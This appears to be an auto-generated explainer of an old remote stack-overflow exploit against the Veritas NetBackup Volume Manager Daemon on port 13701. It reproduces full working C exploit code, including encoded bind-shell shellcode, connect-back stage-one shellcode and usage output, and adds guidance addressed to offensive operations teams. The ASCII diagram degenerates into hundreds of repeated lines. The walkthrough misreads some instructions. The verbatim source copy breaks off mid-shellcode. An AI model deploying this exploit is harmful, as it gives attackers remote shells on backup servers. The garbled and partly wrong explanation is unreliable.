Veritas NetBackup Volume Manager Daemon Remote Buffer Overflow Explained

Veritas NetBackup Volume Manager Daemon Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the Veritas NetBackup Volume Manager Daemon, which listens on TCP port 13701. The exploit allows an attacker to execute arbitrary code on a vulnerable system by sending a specially crafted network packet. The exploit leverages a small initial buffer to establish a connection and then retrieve a larger, second stage of shellcode.
Simple technical breakdown
The core of the vulnerability lies in how the NetBackup Volume Manager Daemon processes incoming data on TCP port 13701. It appears to have a fixed-size buffer to store data, and if an attacker sends more data than this buffer can hold, it overwrites adjacent memory on the stack. This overwrite can be manipulated to redirect the program's execution flow to attacker-controlled code.
The exploit uses a two-stage approach:
- Stage 1 (Small Shellcode): A small piece of shellcode is sent first. This shellcode's primary purpose is to establish a network connection back to the attacker's machine and then receive the actual payload (Stage 2 shellcode).
- Stage 2 (Large Shellcode): This is the main payload, which is sent over the connection established by Stage 1. It contains the code that will be executed on the target system, typically to provide a remote shell.
The exploit code provided is a C program that orchestrates this two-stage attack.
Complete code and payload walkthrough
The provided C code is an exploit for the Veritas NetBackup Volume Manager Daemon. Let's break it down.
nb.c Exploit Code
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
DWORD WINAPI SendShellcode(LPVOID lpParam);
int iLocalOpenPort;- Includes:
winsock2.hfor Windows Sockets API (networking),stdio.hfor standard input/output functions (likeprintf), andstdio.hfor standard input/output functions (likeprintf). #pragma comment(lib,"ws2_32"): This directive tells the compiler to link against thews2_32.liblibrary, which contains the Windows Sockets API functions.DWORD WINAPI SendShellcode(LPVOID lpParam);: Declares a functionSendShellcodethat will be executed in a separate thread. It's designed to be a thread function, returning aDWORDand accepting aLPVOIDparameter.int iLocalOpenPort;: A global integer variable to store the local port number that the attacker's machine will listen on for the second stage of the shellcode.
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
char szShellcode[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd2"
"\x4a\xe7\xed\x83\xeb\xfc\xe2\xf4\x2e\x20\x0c\xa0\x3a\xb3\x18\x12"
"\x2d\x2a\x6c\x81\xf6\x6e\x6c\xa8\xee\xc1\x9b\xe8\xaa\x4b\x08\x66"
"\x9d\x52\x6c\xb2\xf2\x4b\x0c\xa4\x59\x7e\x6c\xec\x3c\x7b\x27\x74"
"\x7e\xce\x27\x99\xd5\x8b\x2d\xe0\xd3\x88\x0c\x19\xe9\x1e\xc3\xc5"
"\xa7\xaf\x6c\xb2\xf6\x4b\x0c\x8b\x59\x46\xac\x66\x8d\x56\xe6\x06"
"\xd1\x66\x6c\x64\xbe\x6e\xfb\x8c\x11\x7b\x3c\x89\x59\x09\xd7\x66"
"\x92\x46\x6c\x9d\xce\xe7\x6c\xad\xda\x14\x8f\x63\x9c\x44\x0b\xbd"
"\x2d\x9c\x81\xbe\xb4\x22\xd4\xdf\xba\x3d\x94\xdf\x8d\x1e\x18\x3d"
"\xba\x81\x0a\x11\xe9\x1a\x18\x3b\x8d\xc3\x02\x8b\x53\xa7\xef\xef"
"\x87\x20\xe5\x12\x02\x22\x3e\xe4\x27\xe7\xb0\x12\x04\x19\xb4\xbe"
"\x81\x19\xa4\xbe\x91\x19\x18\x3d\xb4\x22\xf6\xb1\xb4\x19\x6e\x0c"
"\x47\x22\x43\xf7\xa2\x8d\xb0\x12\x04\x20\xf7\xbc\x87\xb5\x37\x85"
"\x76\xe7\xc9\x04\x85\xb5\x31\xbe\x87\xb5\x37\x85\x37\x03\x61\xa4"
"\x85\xb5\x31\xbd\x86\x1e\xb2\x12\x02\xd9\x8f\x0a\xab\x8c\x9e\xba"
"\x2d\x9c\xb2\x12\x02\x2c\x8d\x89\xb4\x22\x84\x80\x5b\xaf\x8d\xbd"
"\x8b\x63\x2b\x64\x35\x20\xa3\x64\x30\x7b\x27\x1e\x78\xb4\xa5\xc0"
"\x2c\x08\xcb\x7e\x5f\x30\xdf\x46\x79\xe1\x8f\x9f\x2c\xf9\xf1\x12"
"\xa7\x0e\x18\x3b\x89\x1d\xb5\xbc\x83\x1b\x8d\xec\x83\x1b\xb2\xbc"
"\x2d\x9a\x8f\x40\x0b\x4f\x29\xbe\x2d\x9c\x8d\x12\x2d\x7d\x18\x3d"
"\x59\x1d\x1b\x6e\x16\x2e\x18\x3b\x80\xb5\x37\x85\x22\xc0\xe3\xb2"
"\x81\xb5\x31\x12\x02\x4a\xe7\xed";char szShellcode[] = ...;: This is the Stage 2 shellcode. The comment indicates it's awin32_bindshellcode, meaning it will bind a shell to a specific port (4444 in this case, as seen in the usage example) on the compromised machine, allowing the attacker to connect to it and get a command prompt.- The byte sequence is machine code. Without a disassembler and knowledge of the specific architecture and compiler used, a precise byte-by-byte explanation is difficult. However, the comment and the context suggest this shellcode performs the following actions:
- Initializes a socket.
- Binds the socket to a local port (4444).
- Listens for incoming connections.
- Accepts a connection.
- Executes a command shell (
cmd.exe). - Redirects the shell's input/output to the accepted socket.
- The comment
EXITFUNC=sehsuggests it uses Structured Exception Handling for clean exit.LPORT=4444confirms the local port.Size=344is the approximate size of this shellcode.
- The byte sequence is machine code. Without a disassembler and knowledge of the specific architecture and compiler used, a precise byte-by-byte explanation is difficult. However, the comment and the context suggest this shellcode performs the following actions:
char szBuffer[] =
// We cannot use this small part.
"a"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAA"
// Since the buffer is so small, we even need a part of
// theSOCKADDR_IN structure. No problem.
// struct sockaddr_in {
"BB" // sin_family
"BB" // sin_port
"BBBB" // in_addr
// "BBBBBBBB" // sin_zero
// }
// 'START'
// Move the stackpointer. (0x0012F??? -> 0x0012F000)
"\xC1\xEC\x0C" // SHR ESP, 0x0C
"\xC1\xE4\x0C" // SHL ESP, 0x0C
// Call socket().
"\x33\xDB" // XOR EBX, EBX
"\x53" // PUSH EBX
"\x43" // INC EBX
"\x53" // PUSH EBX
"\x43" // INC EBX
"\x53" // PUSH EBX
"\xBB\x88\x72\x44\x00" // MOV EBX, 447288 [socket()]
"\xFF\x13" // JMP DWORD PTR [EBX]
"\x8B\xF8" // MOV EDI, EAX
// [edi -> socket]
// Call connect().
"\x33\xDB" // XOR EBX, EBX
"\xB3\x16" // MOV BL, 16
"\x53" // PUSH EBX
"\xBB\x60\xF3\x12\x00" // MOV EBX, 12F360
"\x53" // PUSH EBX
"\x57" // PUSH EDI
"\xBB\x4C\x72\x44\x00" // MOV EBX, 44724C [connect()]
"\xFF\x13" // JMP DWORD PTR [EBX]
// We need space.
"\x8B\xD4" // MOV EDX, ESP
"\x80\xC6\x01" // ADD DH, 1
// Call recv().
"\x33\xDB" // XOR EBX, EBX
"\x53" // PUSH EBX
"\x43" // INC EBX
"\xC1\xE3\x10" // SHL EBX, 8 [1 -> 65536]
"\x53" // PUSH EBX
"\x52" // PUSH EDX
"\x57" // PUSH EDI
"\xBB\x34\x72\x44\x00" // MOV EBX, 447234 [recv()]
"\xFF\x13" // JMP DWORD PTR [EBX]
// And again.
"\x8B\xD4" // MOV EDX, ESP
"\x80\xC6\x01" // ADD DH, 1
// Jump to our shellcode.
"\xFF\xE2" // JMP EDX
"O"
"W"
"N"
"E"
"D"
"!";
"\x68\xF3\x12\x00" // Here our code starts :).
"\x00\xF0\x12\x00"; // Just a random readable address.char szBuffer[] = ...;: This is the Stage 1 buffer that is sent to the vulnerable NetBackup service. It's a carefully crafted sequence of bytes designed to trigger the buffer overflow and then execute a small piece of shellcode."a" ... "AAAAAAAAAAAAAAAAAAA": These 'a' characters are padding. They fill up the initial part of the buffer. The total length of this padding is 80 bytes (1 + 20*4 + 20 = 81 bytes, but the last one is 19 'a's, so 1+20+20+20+19 = 80 bytes). This padding is intended to reach the return address on the stack."BB" ... "BBBB": These 'B' bytes are intended to overwrite parts of thesockaddr_instructure. The comment indicates they are meant forsin_family,sin_port, andin_addr. This is a clever way to reuse space within the overflowed buffer to prepare arguments for subsequent system calls."\xC1\xEC\x0C" // SHR ESP, 0x0C: This instruction shifts the stack pointer (ESP) right by 12 bits. This is likely to align the stack for subsequent operations or to adjust the stack pointer to a known location."\xC1\xE4\x0C" // SHL ESP, 0x0C: This instruction shifts the stack pointer (ESP) left by 12 bits. This is the complementary operation to the previous one, potentially used to manipulateESPprecisely."\x33\xDB" // XOR EBX, EBX: SetsEBXto 0."\x53" // PUSH EBX: PushesEBX(0) onto the stack."\x43" // INC EBX: IncrementsEBXto 1."\x53" // PUSH EBX: PushesEBX(1) onto the stack."\x43" // INC EBX: IncrementsEBXto 2."\x53" // PUSH EBX: PushesEBX(2) onto the stack.- The sequence of
XOR EBX, EBX,PUSH EBX,INC EBX,PUSH EBX,INC EBX,PUSH EBXis a common technique to push the values 0, 1, and 2 onto the stack as arguments for system calls.
- The sequence of
"\xBB\x88\x72\x44\x00" // MOV EBX, 447288 [socket()]: Loads the address0x00447288intoEBX. This address is identified as the location of thesocket()function within the target process's Import Address Table (IAT)."\xFF\x13" // JMP DWORD PTR [EBX]: Jumps to the address pointed to byEBX. This effectively calls thesocket()function. The return value (the socket descriptor) will be inEAX."\x8B\xF8" // MOV EDI, EAX: Moves the return value ofsocket()(the socket descriptor) fromEAXintoEDI.EDIis often used to store important values."\x33\xDB" // XOR EBX, EBX: SetsEBXto 0."\xB3\x16" // MOV BL, 16: Sets the lower byte ofEBXto 16. This is likely preparing theAF_INETconstant (which is 2) or a port number."\x53" // PUSH EBX: Pushes the current value ofEBX(which is 16 in the lower byte) onto the stack. This is likely thesin_familyargument forconnect."\xBB\x60\xF3\x12\x00" // MOV EBX, 12F360: Loads the address0x0012F360intoEBX. This address is likely where thesockaddr_instructure containing the target IP and port is located in memory."\x53" // PUSH EBX: Pushes the address of thesockaddr_instructure onto the stack. This is the second argument forconnect."\x57" // PUSH EDI: Pushes the socket descriptor (stored inEDI) onto the stack. This is the first argument forconnect."\xBB\x4C\x72\x44\x00" // MOV EBX, 44724C [connect()]: Loads the address0x0044724CintoEBX. This is the IAT address for theconnect()function."\xFF\x13" // JMP DWORD PTR [EBX]: Calls theconnect()function."\x8B\xD4" // MOV EDX, ESP: Moves the current stack pointer (ESP) intoEDX.ESPnow points to the buffer where the received data will be stored."\x80\xC6\x01" // ADD DH, 1: Increments the high byte ofEDXby 1. This is a common technique to adjust the pointer to point after the buffer, sorecvknows how much space is available."\x33\xDB" // XOR EBX, EBX: SetsEBXto 0."\x53" // PUSH EBX: Pushes 0 onto the stack (likely for theflagsargument ofrecv)."\x43" // INC EBX: IncrementsEBXto 1."\xC1\xE3\x10" // SHL EBX, 8 [1 -> 65536]: ShiftsEBXleft by 8 bits, making it0x100(256). This is likely preparing the buffer size forrecv. The comment[1 -> 65536]seems to be a typo or misinterpretation;SHL EBX, 8on0x01results in0x100(256). The actual size intended forrecvmight be larger, and this is just a part of the setup."\x53" // PUSH EBX: Pushes the buffer size onto the stack."\x52" // PUSH EDX: Pushes the pointer to the buffer (where data will be received) onto the stack."\x57" // PUSH EDI: Pushes the socket descriptor (fromconnect) onto the stack."\xBB\x34\x72\x44\x00" // MOV EBX, 447234 [recv()]: Loads the IAT address forrecv()intoEBX."\xFF\x13" // JMP DWORD PTR [EBX]: Calls therecv()function. This function will attempt to receive data from the established connection."\x8B\xD4" // MOV EDX, ESP: Moves the stack pointer intoEDX."\x80\xC6\x01" // ADD DH, 1: Increments the high byte ofEDXagain. This is likely adjusting the pointer to point to the received data."\xFF\xE2" // JMP EDX: Jumps to the address inEDX. This is the crucial part: it jumps to the data received byrecv(), which is the Stage 2 shellcode."OWNED!": These are literal characters appended to the buffer, likely for debugging or as a visible marker."\x68\xF3\x12\x00" // PUSH 0012F3F3: Pushes an address onto the stack. This is likely the start of the Stage 2 shellcode."\x00\xF0\x12\x00"; // PUSH 0012F000: Pushes another address. This is likely a placeholder or a jump target. The comment "Here our code starts :)." refers to theszShellcodearray. The addresses0x0012F3F3and0x0012F000are likely related to where the shellcode is expected to be placed in memory after being received.
// This is the NOT-interesting part :).
DWORD main(int argc, char *argv[]) {
printf("Veritas NetBackup v4/v5/v6 \"Volume Manager Daemon\" Stack Overflow.\n");
// We need a local port and ip because our first buffer is way too small
// to contain our complete shellcode. We use a small shellcode first to
// retrieve the second shellcode. The only method that fitted as first
// shellcode was a connect-back shellcode. For the second we got LOADS of
// space :).
if (argc<5) {
printf("Usage: %s <local ip> <local port> <remote ip> <type>\n\n", argv[0]);
printf("Types (tested):\n");
printf(" 0 - NetBackup v5.0_1A\n");
printf(" NetBackup v5.0_2\n");
printf(" NetBackup v5.0_3\n");
printf(" NetBackup v5.1\n\n");
return NULL;
}
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
sockaddr_in strTarget;
memset(&strTarget, 0, sizeof(strTarget));
strTarget.sin_addr.s_addr = inet_addr(argv[3]);
strTarget.sin_family = AF_INET;
strTarget.sin_port = htons(13701);
iLocalOpenPort = atoi(argv[2]);
HANDLE hStage2 = CreateThread(NULL, 0, SendShellcode, 0, 0, 0);
SOCKET sTarget = socket(AF_INET, SOCK_STREAM, 0);
int iResult = connect(sTarget, (struct sockaddr *)&strTarget, sizeof(strTarget));
if (iResult != SOCKET_ERROR) {
printf("Sending first buffer.\n");
// Fill in the structure.
unsigned long family = AF_INET;
memcpy(szBuffer + 80, &family, 2);
unsigned long port = htons(iLocalOpenPort);
memcpy(szBuffer + 82, &port, 2);
unsigned long ip = inet_addr(argv[1]);
memcpy(szBuffer + 84, &ip, 4);
send(sTarget, szBuffer, sizeof(szBuffer)-1, 0);
closesocket(sTarget);
}
WaitForSingleObject(hStage2, 3000);
WSACleanup();
return NULL;
}DWORD main(int argc, char *argv[]): The main function of the exploit program.- Argument Check: It checks if at least 4 command-line arguments are provided. These are expected to be:
argv[1]: Local IP address (attacker's IP).argv[2]: Local port (attacker's listening port for Stage 2).argv[3]: Remote IP address (target NetBackup server).argv[4]: Type (used for potential version-specific adjustments, though not explicitly used in the provided code).
WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa);: Initializes the Winsock library.sockaddr_in strTarget; ... strTarget.sin_port = htons(13701);: Sets up thesockaddr_instructure for the target NetBackup server, specifying its IP address and the default port 13701.iLocalOpenPort = atoi(argv[2]);: Converts the provided local port string to an integer and stores it iniLocalOpenPort.HANDLE hStage2 = CreateThread(NULL, 0, SendShellcode, 0, 0, 0);: Creates a new thread that will execute theSendShellcodefunction. This thread will listen on the attacker's local port for the Stage 2 shellcode.SOCKET sTarget = socket(AF_INET, SOCK_STREAM, 0);: Creates a TCP socket for connecting to the target.int iResult = connect(sTarget, (struct sockaddr *)&strTarget, sizeof(strTarget));: Attempts to connect to the target NetBackup server on port 13701.if (iResult != SOCKET_ERROR): If the connection is successful:printf("Sending first buffer.\n");: Informs the user that the first stage is being sent.memcpy(szBuffer + 80, &family, 2); ... memcpy(szBuffer + 84, &ip, 4);: This is a critical step. It takes the attacker's local IP address (argv[1]) and port (argv[2]) and injects them into theszBufferat specific offsets (80, 82, 84). These offsets correspond to where the Stage 1 shellcode expects to find connection information to establish its own connection back to the attacker.send(sTarget, szBuffer, sizeof(szBuffer)-1, 0);: Sends the craftedszBuffer(Stage 1) to the target.closesocket(sTarget);: Closes the initial connection to the target.
WaitForSingleObject(hStage2, 3000);: Waits for theSendShellcodethread to complete, with a timeout of 3000 milliseconds (3 seconds). This ensures the attacker's listener is active long enough to receive the Stage 2 shellcode.WSACleanup();: Cleans up the Winsock library.
- Argument Check: It checks if at least 4 command-line arguments are provided. These are expected to be:
DWORD WINAPI SendShellcode(LPVOID lpParam) {
SOCKET sTarget;
SOCKET sAccept;
struct hostent *hp;
struct sockaddr_in strTarget;
struct sockaddr_in strAccept;
int iStrSize = sizeof(strTarget);
memset(&strTarget, 0, sizeof(strTarget));
strTarget.sin_addr.s_addr = INADDR_ANY;
strTarget.sin_family = AF_INET;
strTarget.sin_port = htons(iLocalOpenPort);
sTarget = socket(AF_INET, SOCK_STREAM, 0);
bind(sTarget, (struct sockaddr *)&strTarget, iStrSize);
listen(sTarget, 2);
sAccept = accept(sTarget, (struct sockaddr *)&strAccept, &iStrSize);
if (sAccept != INVALID_SOCKET) {
printf("Sending second buffer.\n");
send(sAccept, szShellcode, sizeof(szShellcode) - 1, 0);
closesocket(sAccept);
}
return NULL;
}DWORD WINAPI SendShellcode(LPVOID lpParam): This function runs in a separate thread and acts as the listener for the Stage 2 shellcode.memset(&strTarget, 0, sizeof(strTarget)); ... strTarget.sin_port = htons(iLocalOpenPort);: Sets up asockaddr_instructure to bind to any local IP address (INADDR_ANY) on the port specified byiLocalOpenPort(which was passed from the command line).sTarget = socket(AF_INET, SOCK_STREAM, 0);: Creates a TCP socket.bind(sTarget, (struct sockaddr *)&strTarget, iStrSize);: Binds the socket to the local IP and port.listen(sTarget, 2);: Starts listening for incoming connections on the bound socket. The backlog of 2 means it can queue up to 2 pending connections.sAccept = accept(sTarget, (struct sockaddr *)&strAccept, &iStrSize);: Accepts an incoming connection. This call will block until a connection is made. This connection is expected to be from the Stage 1 shellcode running on the target.if (sAccept != INVALID_SOCKET): If a connection is successfully accepted:printf("Sending second buffer.\n");: Informs the user that the second stage is being sent.send(sAccept, szShellcode, sizeof(szShellcode) - 1, 0);: Sends the entireszShellcode(Stage 2) over the accepted socket to the target.closesocket(sAccept);: Closes the connection.
Code Fragment/Block -> Practical Purpose Mapping
#include <winsock2.h>: Purpose: Enables the use of Windows networking functions. Practical: Essential for any network-based exploit.#pragma comment(lib,"ws2_32"): Purpose: Links the Winsock library. Practical: Ensures the program can find and use Winsock functions.char szShellcode[] = ...;: Purpose: Contains the Stage 2 shellcode (bind shell). Practical: The actual payload that grants remote access.char szBuffer[] = ...;: Purpose: Contains the Stage 1 exploit buffer and Stage 1 shellcode. Practical: The trigger for the overflow and the initial code that establishes the connection for Stage 2."\xC1\xEC\x0C","\xC1\xE4\x0C": Purpose: Stack pointer manipulation. Practical: Precise control over stack layout for exploiting the overflow."\x33\xDB","\x53","\x43","\xBB\x88\x72\x44\x00","\xFF\x13": Purpose: Calls thesocket()function. Practical: Creates a network socket needed for communication."\x8B\xF8": Purpose: Stores the socket descriptor. Practical: Saves the handle to the created socket for later use."\x33\xDB","\xB3\x16","\x53","\xBB\x60\xF3\x12\x00","\x53","\x57","\xBB\x4C\x72\x44\x00","\xFF\x13": Purpose: Calls theconnect()function. Practical: Establishes a connection to the target service."\x8B\xD4","\x80\xC6\x01": Purpose: Prepares buffer pointer forrecv(). Practical: Sets up where incoming data will be stored."\x33\xDB","\x53","\x43","\xC1\xE3\x10","\x53","\x52","\x57","\xBB\x34\x72\x44\x00","\xFF\x13": Purpose: Calls therecv()function. Practical: Receives the Stage 2 shellcode from the attacker's listener."\x8B\xD4","\x80\xC6\x01","\xFF\xE2": Purpose: Jumps to the received Stage 2 shellcode. Practical: Transfers execution control to the attacker's payload."\x68\xF3\x12\x00","\x00\xF0\x12\x00": Purpose: Likely targets for shellcode execution. Practical: Specifies where the Stage 2 shellcode should be placed or jumped to.main()function: Purpose: Orchestrates the exploit. Practical: Handles argument parsing, network initialization, thread creation, and initiating the attack.CreateThread(NULL, 0, SendShellcode, 0, 0, 0): Purpose: Starts the Stage 2 listener thread. Practical: Allows the attacker's machine to listen for the Stage 1 shellcode's callback.memcpy(szBuffer + 80, &family, 2); ... memcpy(szBuffer + 84, &ip, 4);: Purpose: Injects attacker's IP/Port into Stage 1 buffer. Practical: Configures Stage 1 shellcode to connect back to the correct attacker machine.SendShellcode()function: Purpose: Listens for and sends Stage 2 shellcode. Practical: The attacker's server-side component that delivers the payload.bind(),listen(),accept(): Purpose: Standard socket operations for listening. Practical: Sets up the attacker's listening socket.send(sAccept, szShellcode, sizeof(szShellcode) - 1, 0);: Purpose: Sends Stage 2 shellcode. Practical: Delivers the payload to the compromised machine.
Practical details for offensive operations teams
- Required Access Level: Network access to the target system's TCP port 13701. No local access is required for the initial exploitation.
- Lab Preconditions:
- A vulnerable Veritas NetBackup server (versions 4.5, 5.0, 5.1 tested).
- A separate attacker machine on the same network or with network reachability to the target.
- The attacker machine needs to be able to run the provided C exploit code (compiled for Windows).
- The attacker machine needs to have a listening port open (e.g., 4444) to receive the Stage 2 shellcode.
- Firewall rules must allow outbound connections from the target to the attacker's IP and port for Stage 1, and inbound connections to the target's port 13701.
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit code on the attacker machine.
netcat(nc) or similar tool to verify the shell connection after successful exploitation.- A debugger (like WinDbg) or disassembler (like IDA Pro) would be invaluable for understanding the shellcode and the vulnerability in more detail, though not strictly required to use the exploit.
- Execution Pitfalls:
- Version Mismatch: The exploit might not work on versions other than those explicitly tested or if NetBackup has been patched. The "type" argument in the usage suggests potential version-specific differences, but the provided code doesn't implement logic for it.
- Network Connectivity: Firewalls blocking the initial connection to 13701 or the callback from Stage 1 to the attacker's listening port will cause failure.
- Buffer Size: The exploit relies on a specific buffer size and overflow behavior. If the target application's buffer handling or memory layout differs significantly, the exploit might fail.
- Shellcode Compatibility: The shellcode is compiled for Windows x86. It might not work on different architectures or operating systems.
- Stack Randomization (ASLR): While ASLR was less prevalent in 2006, modern systems might have it enabled, making the fixed addresses used in the exploit (like the IAT addresses) unreliable. However, the exploit uses IAT addresses, which are generally more stable than direct code addresses.
- Port Conflicts: If the target port 13701 is not open or is blocked, the exploit will fail. If the attacker's listening port (e.g., 4444) is already in use, the
bind()call will fail. - Race Conditions: The
WaitForSingleObjectwith a timeout is a basic way to handle the thread synchronization. If the network is slow or the target is heavily loaded, the Stage 2 shellcode might not be sent in time.
Where this was used and when
- Context: This exploit targets Veritas NetBackup, a widely used enterprise backup solution. Exploiting this service could grant an attacker access to sensitive backup data or the ability to disrupt backup operations.
- Approximate Years/Dates: The paper was published on 2006-01-16. This indicates the vulnerability was likely discovered and weaponized around late 2005 or early 2006. Such vulnerabilities in enterprise software are often targeted by advanced persistent threats (APTs) and financially motivated attackers.
Defensive lessons for modern teams
- Patch Management: The most critical defense is to keep all software, especially critical infrastructure components like backup servers, up-to-date with the latest security patches. This vulnerability was known and likely patched by Veritas.
- Network Segmentation: Isolate critical servers like backup systems from less trusted network zones. This limits the attack surface and prevents lateral movement from less secure systems.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network security devices can be configured to detect and block the specific traffic patterns associated with this exploit (e.g., unexpected data on port 13701, connection attempts to known malicious IPs/ports).
- Vulnerability Scanning: Regularly scan your network for known vulnerabilities, including those affecting enterprise software like Veritas NetBackup.
- Principle of Least Privilege: Ensure that the NetBackup service runs with the minimum necessary privileges. This limits the impact if the service is compromised.
- Logging and Monitoring: Enable comprehensive logging on NetBackup servers and network devices. Monitor for unusual activity on port 13701, unexpected outbound connections, and process execution.
- Application Whitelisting: On critical servers, consider implementing application whitelisting to prevent unauthorized executables (like shellcode) from running.
ASCII visual (if applicable)
+---------------------+ +---------------------+
| Attacker Machine | | Target NetBackup |
| (Exploit Runner) | | Server |
+---------------------+ +---------------------+
| |
| 1. Connect to 13701 |
| (TCP) |
| |
|--------------------------->|
| |
| 2. Send Stage 1 Buffer |
| (Overflow + Stage 1 |
| shellcode) |
| |
|<---------------------------|
| |
| 3. Stage 1 shellcode |
| connects back to |
| Attacker:4444 |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
---
## Original Exploit-DB Content (Verbatim)
```text
/*
DESCRIPTION
Veritas NetBackup Stack Overflow (tcp/13701)
"Volume Manager Daemon" Module
Advisories
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=336
http://www.frsirt.com/english/advisories/2005/2349
USAGE
C:\NetBackup>nb 192.168.0.2 4444 192.168.0.200 0
Veritas NetBackup v4/v5 "Volume Manager Daemon" Stack Overflow.
Sending first buffer.
Sending second buffer.
C:\NetBackup>nc 192.168.0.200 4444
Microsoft Windows 2000 [versie 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
INFORMATION
I wrote this just for educational purposes :).
Because the buffer is only very small, I had to write small shellcode.
The code is less than 100 bytes, and there are 6 bytes left. So there
is still space to improve it. The stack seems to be static, every run
at the exact same location.
I used the Import Address Table (that looks like this):
(taken from v5.1)
Import Address Table
00447230 (send)
00447234 (recv)
00447238 (accept)
00447240 (listen)
0044724C (connect)
00447268 (closesocket)
00447284 (bind)
00447288 (socket)
Using that shellcode I retrieve the "second" shellcode. This can be ANY
code, and ANY size. No limitations.
Tested on Windows 2000 Professional, Service Pack 4, Dutch.
Tested on Veritas NetBackup 4.5, 5.0, 5.1 with some Maintenance Packs.
(not all).
Enjoy.
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
DWORD WINAPI SendShellcode(LPVOID lpParam);
int iLocalOpenPort;
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
char szShellcode[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd2"
"\x4a\xe7\xed\x83\xeb\xfc\xe2\xf4\x2e\x20\x0c\xa0\x3a\xb3\x18\x12"
"\x2d\x2a\x6c\x81\xf6\x6e\x6c\xa8\xee\xc1\x9b\xe8\xaa\x4b\x08\x66"
"\x9d\x52\x6c\xb2\xf2\x4b\x0c\xa4\x59\x7e\x6c\xec\x3c\x7b\x27\x74"
"\x7e\xce\x27\x99\xd5\x8b\x2d\xe0\xd3\x88\x0c\x19\xe9\x1e\xc3\xc5"
"\xa7\xaf\x6c\xb2\xf6\x4b\x0c\x8b\x59\x46\xac\x66\x8d\x56\xe6\x06"
"\xd1\x66\x6c\x64\xbe\x6e\xfb\x8c\x11\x7b\x3c\x89\x59\x09\xd7\x66"
"\x92\x46\x6c\x9d\xce\xe7\x6c\xad\xda\x14\x8f\x63\x9c\x44\x0b\xbd"
"\x2d\x9c\x81\xbe\xb4\x22\xd4\xdf\xba\x3d\x94\xdf\x8d\x1e\x18\x3d"
"\xba\x81\x0a\x11\xe9\x1a\x18\x3b\x8d\xc3\x02\x8b\x53\xa7\xef\xef"
"\x87\x20\xe5\x12\x02\x22\x3e\xe4\x27\xe7\xb0\x12\x04\x19\xb4\xbe"
"\x81\x19\xa4\xbe\x91\x19\x18\x3d\xb4\x22\xf6\xb1\xb4\x19\x6e\x0c"
"\x47\x22\x43\xf7\xa2\x8d\xb0\x12\x04\x20\xf7\xbc\x87\xb5\x37\x85"
